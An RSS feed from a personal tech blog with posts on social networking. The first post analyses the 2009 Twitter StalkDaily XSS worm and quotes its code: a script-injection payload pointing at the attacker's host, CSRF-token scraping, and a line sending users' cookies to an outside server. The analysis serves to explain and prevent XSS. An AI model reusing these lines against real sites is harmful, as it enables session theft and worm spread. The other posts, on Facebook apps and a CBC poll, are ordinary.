<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>unitstep.net &#187; social networking</title>
	<atom:link href="http://unitstep.net/blog/category/social-networking/feed/" rel="self" type="application/rss+xml" />
	<link>http://unitstep.net</link>
	<description>the home of peter chng</description>
	<lastBuildDate>Mon, 19 Mar 2012 01:49:33 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>How the Twitter StalkDaily Worm spread so fast</title>
		<link>http://unitstep.net/blog/2009/04/13/how-the-twitter-stalkdaily-worm-spread-so-fast/</link>
		<comments>http://unitstep.net/blog/2009/04/13/how-the-twitter-stalkdaily-worm-spread-so-fast/#comments</comments>
		<pubDate>Tue, 14 Apr 2009 03:50:40 +0000</pubDate>
		<dc:creator>Peter Chng</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[privacy]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[social networking]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[twitter]]></category>
		<category><![CDATA[web2.0]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[worm]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://unitstep.net/?p=847</guid>
		<description><![CDATA[If you use Twitter a lot (unlike me) you&#8217;ll likely have been alerted and worried about the presence of a worm that&#8217;s been making the rounds at the popular micro-blogging website. The so-called &#8220;StalkDaily&#8221; worm was first noticed on Saturday, and it appeared to be able to &#8220;infect&#8221; a user&#8217;s Twitter profile, causing random tweets [...]]]></description>
			<content:encoded><![CDATA[<p class="image align-right"><img src="http://unitstep.net/wordpress/wp-content/uploads/2009/04/biohazard.jpg" alt="biohazard" title="biohazard" width="100" height="145" class="alignnone size-full wp-image-853" /></p>
<p>If you use Twitter a lot (unlike me) you&#8217;ll likely have been alerted and worried about the <a href="http://www.techcrunch.com/2009/04/11/twitter-hit-by-stalkdaily-worm/">presence of a worm that&#8217;s been making the rounds</a> at the popular micro-blogging website.  The so-called &#8220;StalkDaily&#8221; worm was first noticed on Saturday, and it appeared to be able to &#8220;infect&#8221; a user&#8217;s Twitter profile, causing random tweets about the StalkDaily website (<strong>don&#8217;t go there</strong>)  to show up on their profile.  Furthermore, other user&#8217;s Twitter profiles could also become infected, seemingly by <strong>only viewing the profile of another infected user</strong>.</p>
<p>Eventually the <a href="http://gist.github.com/93782">source code of the worm was uncovered</a>, (safe to view) and a quick analysis of the worm shows why it was able to quickly spread through Twitter so fast.  Here&#8217;s an overview of how the worm worked.</p>
<h2>Overview</h2>
<p>The StalkDaily worm was apparently <a href="http://adjix.com/af5t">written by a person named &#8220;Mikeyy Mooney&#8221;</a>, who is evidently a 17-year old from Brooklyn, New York.  He created the original worm, plus other derivatives that spread using the same mechanism but displayed different messages on the infected user&#8217;s profile.  The attack was not able to steal user&#8217;s passwords, thanks to Twitter&#8217;s security configuration, but <a href="http://www.cbc.ca/technology/story/2009/04/13/twitter-worm.html">it nonetheless caused over 10,000 unauthorized tweets</a> to show up on users&#8217; profiles.</p>
<h2>Drilling down</h2>
<p>An analysis of the <a href="http://gist.github.com/93782">source code of the worm</a> yields some insight into how this malicious code was able to spread so effectively.  Specifically, the attack used <a href="http://en.wikipedia.org/wiki/Cross-site_scripting#Persistent">Type 2 or persistent XSS vulnerability</a>, the most serious type, in order to achieve DOM/JavaScript injection into the Twitter site.</p>
<p>In this sort of attack, the attacker was able to arbitrary JavaScript into a page that was publicly viewable by any other user; in this case the page was a user&#8217;s profile.  This injected JavaScript was then used to &#8220;infect&#8221; the profile of the user who viewed the already-infected profile, causing the cycle to repeat.</p>
<p>Specifically, the &#8220;<acronym class="uttInitialism" title="Uniform Resource Locator">URL</acronym>&#8221; field of the user&#8217;s profile is targeted.  This contents of this field were apparently not sanitized from user input, or the contents were not properly converted to <acronym class="uttInitialism" title="HyperText Markup Language">HTML</acronym> entities when setting the contents to the value of the <code>href</code> attribute when displaying the user&#8217;s <acronym class="uttInitialism" title="Uniform Resource Locator">URL</acronym> or homepage/website.  This is seen in lines 104 and 109 of the source code, shown below:</p>
<pre><code>var xss = urlencode('http://www.stalkdaily.com"&gt;</a>&lt;script src="http://mikeyylolz.uuuq.com/x.js"&gt;&lt;/script&gt;&lt;a ');
...
var ajaxConn1 = new XHConn();
ajaxConn1.connect("/account/settings", "POST", "authenticity_token="+authtoken+"&amp;user[url]="+xss+"&amp;tab=home&amp;update=update");</code></pre>
<p>The last line is where the user&#8217;s profile is updated to show the offending JavaScript; this essentially make the user&#8217;s profile execute the worm&#8217;s source code, causing anyone who views the profile to become &#8220;infected&#8221; themselves.</p>
<p>Thus the attacker was able to exploit this to arbitrarily inject a SCRIPT tag into the DOM linking to a JavaScript file (<code>x.js</code>) on his site.  By doing this, he was able to get code he owned (the JavaScript file on his own website) to run at the privilege level of scripts on the Twitter.com domain.  This &#8220;privilege escalation&#8221; of sorts is what allowed the script to perform actions on behalf of the user, including infecting their profile to spread to others, and causing the user to tweet phrases of the attacker&#8217;s choice.</p>
<h2>Spreading</h2>
<p>Once infected, a user&#8217;s profile would contain a link to the malicious JavaScript as described above.  This is because the user&#8217;s profile shows a link to their website <acronym class="uttInitialism" title="Uniform Resource Locator">URL</acronym>, which had been altered to inject the malicious JavaScript residing the attacker&#8217;s server.  Because of this, <strong>anyone who was logged into Twitter and viewed an infected user&#8217;s profile would themselves be infected</strong>, and their profile would then become a vector for transmission of the worm, completing the cycle. </p>
<p>The source code also shows that each time you viewed an infected profile, the script would cause you to randomly tweet one of six different phrases, all of which linked to the StalkDaily website.  It appears the <a href="http://adjix.com/b52w">attacker was trying to promote his website this way</a>, but it&#8217;s also possible that going to this website could also cause you to become infected.  While viewing a resource directly on the StalkDaily website could not cause you to become infected, due to the same-origin policy, it&#8217;s possible that a hidden <code>iframe</code> could be included on the site, pointing towards the profile of an infected user.  This would case you to become infected.</p>
<h2>Why XSS is so important to prevent against</h2>
<p>Cross-site scripting attacks, or XSS for short, essentially occur because user-input data is not properly sanitized prior to being committed to persistent storage, or is not properly escaped into <acronym class="uttInitialism" title="HyperText Markup Language">HTML</acronym> entities before being output to a webpage or displayed.  This can allow a malicious user to inject or alter the structure of the DOM, inserting <code>script</code> tags to inject their own arbitrary JavaScript into your website.</p>
<p>This attack demonstrates the need to effectively guard against these vulnerabilities, because such flaws can undermine other security precautions you have taken.  For example, the source code of the worm shows that Twitter was using an &#8220;authentication token&#8221; for all form submissions in order to prevent <a href="http://en.wikipedia.org/wiki/Cross-site_request_forgery">Cross-site Request Forgery (CSRF) attacks</a>.  This is essentially using a temporary, random value to ensure that a form was submitted from the Twitter website itself, so that not any website can submit a form request to Twitter on behalf of a user.</p>
<p>This can normally prevent malicious websites from performing actions on your behalf without your knowledge; however because the XSS vulnerability allowed for DOM/script injection, the attacker&#8217;s script (on a separate domain) was able to run with the same privilege of a script on Twitter&#8217;s own site.  Thus, it was able to read in the &#8220;authentication token&#8221; value from the <acronym class="uttInitialism" title="HyperText Markup Language">HTML</acronym> of the Twitter webpage, and use it to properly craft form submission data to alter the user&#8217;s profile and tweet on their behalf.  This is seen on lines 85-90:</p>
<pre><code>var content = document.documentElement.innerHTML;

authreg = new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
var authtoken = authreg.exec(content);
authtoken = authtoken[1];
//alert(authtoken);</code></pre>
<p>Note that using a cookie to store the authentication token would not have prevented this.  Because the script was running within the scope of the Tiwtter.com domain, it would be able to access the user&#8217;s cookies!  In fact it does exactly this, and furthermore it sends your cookies to the attacker&#8217;s server so they can keep a log of them! Lines 78-81 show this: (The username is obtained from the DOM, much like the authentication token)</p>
<pre><code>var cookie;
cookie = urlencode(document.cookie);
document.write("&lt;img src='http://mikeyylolz.uuuq.com/x.php?c=" + cookie + "&amp;username=" + username + "'&gt;");
document.write("&lt;img src='http://stalkdaily.com/log.gif'&gt;");</code></pre>
<h2>Other notes</h2>
<p>Obviously central to this problem is the ability of scripts on other domains to run within the scope of another domain simply by being linked to on the page via a <code>script</code> element.  This allows scripts not under the control of the originating domain to be able to access cookies and other information that would not be normally accessible.  </p>
<p>However, this ability also allows useful services such as Google Analytics and other third-party services/APIs such as Google Maps, to work easily across different websites, allowing services to expose their features through a JavaScript API.  Thus, making browsers reject third-party SCRIPT tags would cause serious usability problems; a better idea is to use a Firefox plugin like <a href="https://addons.mozilla.org/en-US/firefox/addon/722">NoScript</a> so that the user can have fine-grained control over issues like this. </p>
<p>Other points of interest when looking at the source code is that the bulk of the code are utility functions.  The actual malicious code only takes up the last third of the file or so.  For example, the function <code>XHConn()</code> is simply a standard cross-browser compatible implementation of <a href="http://en.wikipedia.org/wiki/XMLHttpRequest">XMLHttpRequest</a>, the API used for the Ajax requests necessary to alter the user&#8217;s profile.  Additionally, the <code>urlencode()</code> function is another utility function that allows values like the user&#8217;s cookies and the actual malicious <code>script</code> tag to be properly submitted in the Ajax request.</p>
<p>Lastly, the malicious code is set to be executed 3250 ms after the script is fully-loaded. (line 111)  This is likely to ensure that the DOM is fully loaded and ready to be traversed to find things like the username and authentication token, instead of hooking into an event like <code>window.onload</code>.</p>
<h2>Concluding remarks</h2>
<p>This analysis identifies the following points:</p>
<ol>
<li>The worm spreads by updating your profile <acronym class="uttInitialism" title="Uniform Resource Locator">URL</acronym> to include the malicious script.</li>
<li>Simply viewing the profile of an infected user is suffice to cause your profile to become infected.</li>
<li>Every time you view the profile of an infected user, including your own, the worm will cause you to automatically tweet one of the random messages.</li>
<li>The random tweets from an infected user <strong>do not</strong> appear to contain the malicious code, probably because output here has been protected against that.</li>
<li>The worm steals the cookies you have set for the Twitter.com domain, along with your username, but thankfully no password information is stolen since Twitter does not store that sort of information in cookies.  It also appears to log each visit to an infected user&#8217;s profile.</li>
<li>Visiting a third-party site (such as the StalkDaily website) may infect your Twitter profile if a hidden iframe has been included, pointing towards the profile of an infected user.  This can be hard to detect, so using something the <a href="https://addons.mozilla.org/en-US/firefox/addon/722">NoScript Firefox extension</a> is recommended.</li>
</ol>
<p>Note that this is not a criticism of Twitter itself, as designing any web application is  difficult from a security perspective; it&#8217;s also worthwhile to note that Twitter responded fast to this issue, within hours on a Saturday.  They appeared to have the <a href="http://blog.twitter.com/2009/04/wily-weekend-worms.html">situation under control as of yesterday</a> and had patched the hole as well as being on their way to cleaning up infected users&#8217; profiles.  Understandably they are very upset and I hope they are able to sort the whole issue out.</p>
<hr/>Copyright &copy; 2012 <strong><a href="http://unitstep.net">unitstep.net</a></strong>. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact <strong><a href="mailto:webmaster@unitstep.net">webmaster@unitstep.net</a></strong> for more information.<br/><span style="float: right;font-size: 7pt"><a href="http://blog.taragana.com/index.php/archive/wordpress-plugins-provided-by-taraganacom/">Plugin</a> by <a href="http://www.taragana.com/">Taragana</a></span>]]></content:encoded>
			<wfw:commentRss>http://unitstep.net/blog/2009/04/13/how-the-twitter-stalkdaily-worm-spread-so-fast/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Facebook Application Development &#8211; Pros and Cons</title>
		<link>http://unitstep.net/blog/2007/07/16/facebook-application-development-pros-and-cons/</link>
		<comments>http://unitstep.net/blog/2007/07/16/facebook-application-development-pros-and-cons/#comments</comments>
		<pubDate>Tue, 17 Jul 2007 03:35:23 +0000</pubDate>
		<dc:creator>Peter Chng</dc:creator>
				<category><![CDATA[api]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[privacy]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[social networking]]></category>

		<guid isPermaLink="false">http://unitstep.net/blog/2007/07/16/facebook-application-development-pros-and-cons/</guid>
		<description><![CDATA[It&#8217;s been a while since Facebook introduced the concept of &#8220;applications&#8221; to their API, providing developers a very flexible set of tools to create and add features to Facebook itself. Applications on Facebook are best described as &#8220;widgets&#8221;, since they offer functionality that&#8217;s often provided by widgets on other sites, so why Facebook chose a [...]]]></description>
			<content:encoded><![CDATA[<p class="image align-right"><img src="http://unitstep.net/wordpress/wp-content/uploads/2007/06/facebook-platform.png" alt="Facebook Platform" /></p>
<p>It&#8217;s been a while <a href="/blog/2007/06/03/facebooks-platform-adds-integration-to-applications/">since Facebook introduced</a> the concept of &#8220;applications&#8221; to their API, providing developers a very flexible set of tools to create and add features to Facebook itself.  Applications on Facebook are best described as &#8220;widgets&#8221;, since they offer functionality that&#8217;s often provided by widgets on other sites, so why Facebook chose a different name is somewhat peculiar.</p>
<p>I&#8217;m not going to debate the merits of these applications, or whether they&#8217;re leading Facebook down the road to a MySpace-hell dominated by personalized profiles that are an eyesore (there&#8217;s already <a href="http://www.downloadsquad.com/2007/06/20/facebook-users-fight-back-against-new-facebook-applications/">enough discourse</a> on that subject, both on Facebook and outside of it), but rather I&#8217;ll take a look at this from a developer&#8217;s point of view.  What is the potential for developing an application for Facebook, and at the same time, what are the pitfalls?</p>
<h3>Pro: Relatively easy to develop</h3>
<p><a href="http://developers.facebook.com/resources.php">Facebook&#8217;s API</a> is easy to work with, especially if you have experience with <acronym class="uttInitialism" title="PHP: Hypertext Preprocessor">PHP</acronym>.  One of the official client libraries is written in <acronym class="uttInitialism" title="PHP: Hypertext Preprocessor">PHP</acronym>, and since it&#8217;s intended to be used for web applications, this makes perfect sense.  Using it to develop an application should therefore be a relatively pain-free process.</p>
<p>While the <a href="http://developers.facebook.com/documentation.php">documentation</a> isn&#8217;t always complete, there&#8217;s a <a href="http://wiki.developers.facebook.com/index.php/Main_Page">nice Wiki</a> that covers additional details, and together, these two should allow you to overcome most problems you may run into during development.</p>
<p>Overall, the abilities offered by the API coupled with its ease of use make development relatively straightforward.</p>
<h3>Pro: Access to a large user base</h3>
<p>Facebook&#8217;s current <a href="http://mashable.com/2007/07/10/facebook-users-2/">user base of 30 million</a> is rapidly growing.  It&#8217;s already doubled since the start of this year, and continues to <a href="http://www7.flickr.com/photos/500hats/398658777/in/set-72157594550002847/">grow at close to 3% per week</a>.  If that rate continues, they&#8217;ll double again by the end of this year.  But perhaps the most amazing fact here is the dedication of Facebook&#8217;s user base.  It&#8217;s one thing to have millions and millions of users, with only a small percentage that are actually active.  This isn&#8217;t the case with Facebook, which <a href="http://www7.flickr.com/photos/500hats/398658941/in/set-72157594550002847/">sees over half of its users</a> log in daily.  That&#8217;s an astonishing statistic by any measure, and even more so when you consider Facebook large and fast-growing user base.</p>
<p>Thus, developing an application for Facebook gives it access to a large, and more importantly, active user base.  This gives it a huge potential to grow virally, that is, from person-to-person.  When someone adds your application to their profile or account, it will show up as a News Feed item.  This means that anyone who has this user as a friend will see a message in their News Feed about this user adding your application.  The idea is that they might get interested, click on your application, and then add it to their profile as well, continuing the viral spread cycle.  </p>
<p>They can, of course, also find your application by doing a search &#8211; if you&#8217;re lucky enough to get your application listed in Facebook&#8217;s official application directory &#8211; more on that later.</p>
<h3>Con: Cost and scalability</h3>
<p>I think Marc Andreessen (of Netscape fame) <a href="http://blog.pmarca.com/2007/06/analyzing_the_f.html">put it best</a> when referring to the popularity of an application on Facebook, namely that <q>success kills</q>.  (The rest of his article, while lengthy, is an excellent read and I suggest you take the time to read it)  Marc gives the example of the <a href="http://ilike.com/">iLike</a> application, one of the first, which experienced an insane growth in the early stages.  During that time, they grew by 300,000 <em>per day</em>, eating up all of their capacity to the point where they had to buy new servers on a daily basis.  </p>
<p>While a company such as iLike, with sources of revenue, may be able to shoulder this kind of burden, it&#8217;s quite unlikely that a lone developer would.  This creates a sort of Catch-22 &#8211; you want your application to become popular, so that you could hopefully monetize it.  However, in order for that to happen, you need plenty of resources &#8211; which require money.</p>
<p>If all you&#8217;re looking to create is a neat little application for you and your friends, or if your application doesn&#8217;t really create a huge load on your end, you&#8217;ll probably be alright.  But be aware that the same dedication and large user base of Facebook that can be so excellent for spreading an application, can be the same environment that quickly overruns your capacity to support your creation.</p>
<h3>Con: Monetization</h3>
<p>While we&#8217;re talking about monetization, it&#8217;s worthwhile to point out that if this is your main concern, it&#8217;s probably best not to pursue Facebook application development.  Since <a href="http://www.kinggary.com/archives/the-issues-that-ail-facebook-platform/">support costs can be high</a> for Facebook applications, attempting to derive a successful business model on this will most likely be met with limited success, if any.  Some have called for Facebook to <a href="http://www.feld.com/blog/archives/2007/06/the_facebook_pr.html">start a revenue sharing program</a>, but this is unlikely, considering Facebook&#8217;s <a href="http://valleywag.com/tech/mythbusting/facebooks-fake-revenues-278437.php">uncertain financial future</a> &#8211; even <em>if</em> the <a href="http://gigaom.com/2007/07/13/facebook-ipo-fact-or-fiction/">IPO rumours</a> turn out to be true.  (Which they likely will be)  </p>
<p>A revenue sharing program, however, would be fair, since by creating a successful application you are adding value to Facebook&#8217;s site, and directly increasing their revenues by nature of increasing the time a user spends on the site.  I would not, however, hold out on this to develop.</p>
<p>This doesn&#8217;t mean that application development is limited to those who just want to create something &#8220;for fun&#8221; or to add something to their portfolio.  On the contrary, I believe the best opportunities the Facebook platform affords is to other businesses based on web services.  By utilizing Facebook, they can create applications that promote their site, or tie into their own API, thus using Facebook&#8217;s large user base as a source for new customers, users, and thus revenue.  Indeed, the first applications developed were made by companies with this very intent.  Other sites could follow this model.</p>
<h3>Other Cons</h3>
<p>Some believe that the viral nature of Facebook apps <a href="http://valleywag.com/tech/hypebusting/facebook-has-thrown-the-entire-startup-world-for-a-loop-273359.php">has been overstated</a>, and that they now don&#8217;t spread as easily.  </p>
<p>Another, more serious aspect, relates to something I <a href="/blog/2007/05/14/facebook-marketplace-debuts/">alluded to</a> when I commented on Facebook&#8217;s introduction of their Marketplace, a classified-listing type service.  It seems that in the TOS of the Facebook Platform, they <a href="http://www.vecosys.com/2007/05/28/working-with-facebook-f8-you-are-not-in-control-of-your-access/">reserve the right to make a similar application</a> to yours, without obligation to you.  I don&#8217;t know if this is standard legalese in a TOS for API usage, but certainly it can be construed to be something more sinister, and would deny you any right you had to something you&#8217;d created.  Of course, if Facebook <em>did</em> do something like this, I&#8217;m sure there would be an uproar from the community, with <a href="http://digg.com">Digg</a> fanning the flames, of course.</p>
<h3>Privacy, as always</h3>
<p>Privacy is also a concern, as it now not only falls on the user to determine what settings to implement, but also whether developers will respect the TOS of the Facebook Platform.  The documentation <a href="http://developers.facebook.com/documentation.php?v=1.0&#038;method=users.getInfo">clearly outlines</a> what user (and user&#8217;s friend) info can be stored, but there is nothing to stop a developer from storing more of that information, either for the purposes of adding another feature to their application, or for malicious intent.  There have <a href="http://valleywag.com/tech/ilike/limitations-and-potential-of-new-facebook-applications-263728.php">already been concerns</a> about this with popular applications.</p>
<p>The issue of privacy here is that when you sign into a Facebook application, it basically has access to all of the friend info that you would &#8211; after all, it probably needs this to perform whatever function it does.  Though you may have consented to allow this information to be used, your friends may not have explicitly done this, and may not want their information to be used by 3rd party developers.  </p>
<p>Though users can opt-out of participation in the Facebook Platform altogether (and thus prevent 3rd party developers having access), I&#8217;m guessing that not everyone or even a majority know about this feature.  The privacy settings of Facebook have grown almost as much as the site itself, with settings divided amongst sections and sub-sections, creating somewhat of a convoluted mess.  The best precaution to all of this, of course, is not posting anything on the Internet that you wouldn&#8217;t want to be known in public.  This applies not only to Facebook but other sites as well; I only emphasize this for Facebook because of the notoriety its obtained from such incidents.</p>
<hr/>Copyright &copy; 2012 <strong><a href="http://unitstep.net">unitstep.net</a></strong>. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact <strong><a href="mailto:webmaster@unitstep.net">webmaster@unitstep.net</a></strong> for more information.<br/><span style="float: right;font-size: 7pt"><a href="http://blog.taragana.com/index.php/archive/wordpress-plugins-provided-by-taraganacom/">Plugin</a> by <a href="http://www.taragana.com/">Taragana</a></span>]]></content:encoded>
			<wfw:commentRss>http://unitstep.net/blog/2007/07/16/facebook-application-development-pros-and-cons/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>The CBC&#8217;s Great Canadian Wish List turns into a Great Flame War</title>
		<link>http://unitstep.net/blog/2007/06/29/the-cbcs-great-canadian-wish-list/</link>
		<comments>http://unitstep.net/blog/2007/06/29/the-cbcs-great-canadian-wish-list/#comments</comments>
		<pubDate>Fri, 29 Jun 2007 20:48:39 +0000</pubDate>
		<dc:creator>Peter Chng</dc:creator>
				<category><![CDATA[cbc]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[politics]]></category>
		<category><![CDATA[social networking]]></category>

		<guid isPermaLink="false">http://unitstep.net/blog/2007/06/29/the-cbcs-great-canadian-wish-list/</guid>
		<description><![CDATA[Just over a month ago, the CBC launched their Great Canadian Wish List project on Facebook. Reaching out to the young people of Canada (who use Facebook), the project aims to gauge &#8220;grassroots&#8221; support among them by allowing users to create a &#8220;wish&#8221; or cause that others can then support. The most popular &#8220;wishes&#8221; will [...]]]></description>
			<content:encoded><![CDATA[<p class="image align-right"><img src='http://unitstep.net/wordpress/wp-content/uploads/2007/06/cbc-wish-list.jpg' alt='CBCâ€™s Great Canadian Wish List' /></p>
<p>Just over a month ago, the CBC launched their <a href="http://www.cbc.ca/wish/">Great Canadian Wish List</a> project on Facebook.  Reaching out to the young people of Canada (who use Facebook), the project aims to gauge &#8220;grassroots&#8221; support among them by allowing users to create a &#8220;wish&#8221; or cause that others can then support.  The most popular &#8220;wishes&#8221; will then be made part of the CBC&#8217;s Canada Day coverage special.  With so many issues facing our modern Western society, the project had lofty goals in attempting to stoke the interests of youth.  However, as expected, the &#8220;wish list&#8221; has mostly descended into another yet another debate on abortion, and gay marriage.  </p>
<h3>Burn baby, burn</h3>
<p>Despite this being the CBC, I don&#8217;t believe they could&#8217;ve been <em>this</em> clueless.  While the Wish List had noble aims &#8211; that is, seeing what was really on the minds of young Canadians &#8211; it&#8217;s all too easy for such a venue to become overrun by polarizing issues, especially in North America.  Any sort of &#8220;debate&#8221; on the Internet almost invariably devolves into a flame war &#8211; it is rare to see a well-rounded debate here, since there are no real moderators, and all it takes is one bad apple to ignite the volatile mixture.  </p>
<p>Thus, you can see how it didn&#8217;t take long for &#8220;Abolish Abortion in Canada&#8221; and &#8220;I wish that Canada would remain pro-choice&#8221; to become the two top wishes on the list.  Gay marriage, the Paris Hilton of debate issues (in terms of relevance) isn&#8217;t far behind in the polls. The numbers change constantly, and so does the leading wish, as people from both camps attempt to rally &#8220;grassroots&#8221; support amongst the users of Facebook.  Of course, the accuracy of these numbers at determining &#8220;true&#8221; national opinion on these issues is suspect.  First of all, it&#8217;s a voluntary Internet poll, so by definition it is limited to only those who care for using the Internet to express their views.  Secondly, it&#8217;s limited to Facebook users.  Thirdly, and perhaps most importantly, the polls <a href="http://www.cbc.ca/wish/2007/06/on_cheating.html">aren&#8217;t limited to Canadians</a>, so obviously issues that are popular in America are going to rise to the top here.  </p>
<h3>Godwin&#8217;s Law invoked</h3>
<p>One of my biggest peeves with online debate is the ease with which preposterous comparisons and straw-man attacks reign supreme.  Evidently, most people who&#8217;ve never even heard of <a href="http://en.wikipedia.org/wiki/Formal_fallacy">logical fallacies</a> think it&#8217;s a brilliant idea to compare an argument to something horrible, in an attempt to draw the negative emotional response associated with it.   For example, take a look at this <a href="http://www.cbc.ca/wish/2007/06/editorial_1.html">comments page</a> in response to an anti-abortion/pro-life article that was part of the Great Canadian Wish List project.  As expected, there are a plethora of responses, and I count no fewer than four references to &#8220;Hitler&#8221; &#8211; supporting <strong>both</strong> sides of the debate!  This was actually a relatively good &#8220;Internet debate&#8221;, as far as my experience goes, and yet we still could not avoid the &#8220;Reductio ad Hitlerum&#8221; fallacy.</p>
<p>I still don&#8217;t know why this persists, especially in online debate.  Perhaps it&#8217;s the knowledge that you can espouse a ridiculous argument over the Internet, and not look like a fool behind its protective wall.  <a href="http://en.wikipedia.org/wiki/Godwin%27s_law">Godwin&#8217;s Law</a> has been around since 1990 &#8211; that&#8217;s right, 1990, before there was even a real Web, and dial-up was a luxury only real geeks could afford.  (Or sacrifice to obtain)  Godwin&#8217;s Law is perhaps one of the things about the Internet that will never change &#8211; remarkable for something that often changes so fast.</p>
<h3>Fanning the flames of discontent</h3>
<p>However large my distaste for logically misconstrued arguments is, my real problem is not with the participants of this project, but rather with the CBC itself.  They must have known that this &#8220;Great Canadian Wish List&#8221;, with its prospects of getting prime time news coverage to any topic that had great &#8220;grassroots&#8221; support, would have been divisive and bitter.  And yet, they chose to go ahead with it anyway, using one of the largest and most active social networks, Facebook, as their launching platform.  The issues brought forth may not even be of true major concern to most Canadians (since apparently anyone can vote), and furthermore the numbers may not be truly representative.  However, the appearance is impressive, thanks to outspoken groups on both sides.</p>
<p>It&#8217;s hard to say whether the numbers of supports are really indicative of grassroots support, or rather due to an organized few.  For example, it was recently revealed that <a href="http://arstechnica.com/news.ars/post/20041207-4442.html">99% FCC complaints about aired TV content</a> are due to a <em>single</em> activist group &#8211; the Parents Television Council.  With their efforts, complaints skyrocketed from <q cite="http://arstechnica.com/news.ars/post/20041207-4442.html">a mere 350 complaints in 2000 to a whopping 240,000 in 2003</q>.  (Reminds me of that time Stephen Colbert tried to get that <a href="http://en.wikipedia.org/wiki/Northern_M0_Danube_bridge">bridge named after him</a>.) Without this knowledge, one would think that the massive increase in complaints filed to the FCC was due to some sort of revival of &#8220;morals&#8221; or a huge increase in objectionable content on TV, or both.  Clearly, this is not the case.  </p>
<p>The chances of this occurring with something like CBC&#8217;s Great Canada Wish List are all too high.  Not only do the loudest groups get their views promoted to the top on Facebook, but they also get the resultant mess aired on CBC, and their issues brought to the forefront, no matter how divisive or irrelevant.  Never mind that the results <a href="http://www.cbc.ca/wish/2007/06/on_cheating.html">may not be accurate</a>, even in the context of Internet polls, and never mind that Canadians aren&#8217;t the only ones participating in the polls &#8211; this was all done to provide a nice ratings boost and a little something different than traditional Canada day coverage.</p>
<p>Shame on you CBC, shame on you.</p>
<hr/>Copyright &copy; 2012 <strong><a href="http://unitstep.net">unitstep.net</a></strong>. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact <strong><a href="mailto:webmaster@unitstep.net">webmaster@unitstep.net</a></strong> for more information.<br/><span style="float: right;font-size: 7pt"><a href="http://blog.taragana.com/index.php/archive/wordpress-plugins-provided-by-taraganacom/">Plugin</a> by <a href="http://www.taragana.com/">Taragana</a></span>]]></content:encoded>
			<wfw:commentRss>http://unitstep.net/blog/2007/06/29/the-cbcs-great-canadian-wish-list/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Facebook&#8217;s platform adds integration to applications</title>
		<link>http://unitstep.net/blog/2007/06/03/facebooks-platform-adds-integration-to-applications/</link>
		<comments>http://unitstep.net/blog/2007/06/03/facebooks-platform-adds-integration-to-applications/#comments</comments>
		<pubDate>Mon, 04 Jun 2007 00:48:57 +0000</pubDate>
		<dc:creator>Peter Chng</dc:creator>
				<category><![CDATA[advertising]]></category>
		<category><![CDATA[api]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[social networking]]></category>

		<guid isPermaLink="false">http://unitstep.net/blog/2007/06/03/facebooks-platform-adds-integration-to-applications/</guid>
		<description><![CDATA[Facebook recently launched the latest version of their Platform, which combines their API with FQL and the new FBML. Facebook launched the next version of their platform at their developer&#8217;s conference, and accompanied the launch with many partner companies that rolled out applications designed with the platform simultaneously. This was also a huge event for [...]]]></description>
			<content:encoded><![CDATA[<p class="image align-right"><img src="http://unitstep.net/wordpress/wp-content/uploads/2007/06/facebook-platform.png" alt="Facebook Platform" /></p>
<p><a href="http://www.facebook.com">Facebook</a> recently launched the <a href="http://developers.facebook.com/news.php?blog=1&#038;story=21">latest version</a> of their <a href="http://developers.facebook.com/">Platform</a>, which combines their API with <abbr title="Facebook Query Language">FQL</abbr> and the new <abbr title="Facebook Markup Language">FBML</abbr>.  Facebook launched the next version of their platform at their developer&#8217;s conference, and accompanied the launch with <a href="http://www.thestreet.com/_googlen/newsanalysis/technet/10359353_3.html">many partner</a> companies that rolled out applications designed with the platform simultaneously.  This was also a huge event for independent developers, many of which got to work immediately on their own Facebook apps. (Thousands are now available)  This is a huge event in the history of Facebook, and perhaps the next step in where the hugely-popular social networking site will go.  As with any change in a social networking site, this one was met with some resistance and concern, but is it warranted?</p>
<h3>The basics</h3>
<p>The Facebook API has been around since last year, but has since added many more features.  In its first version, there were only a limited number of methods one could call to request data.  Early this year, they added <abbr title="Facebook Query Language">FQL</abbr>, their own SQL-like query language to allow for more flexibility in accessing that data.  (In fact, now most of the API calls merely map to FQL queries as well)  This newest version has added <abbr title="Facebook Markup Language">FBML</abbr>, Facebook&#8217;s own markup language.  Just like FQL is related somewhat to SQL, so is FBML to <a href="http://www.w3.org/MarkUp/" class="ubernym uttInitialism"><acronym class="uttInitialism" title="eXtensible HyperText Markup Language - HTML reformulated as XML">XHTML</acronym></a>.  Thus, web developers will have no problem adjusting to these Facebook-specific languages.  From Facebook&#8217;s point of view, this makes them way more popular with developers. </p>
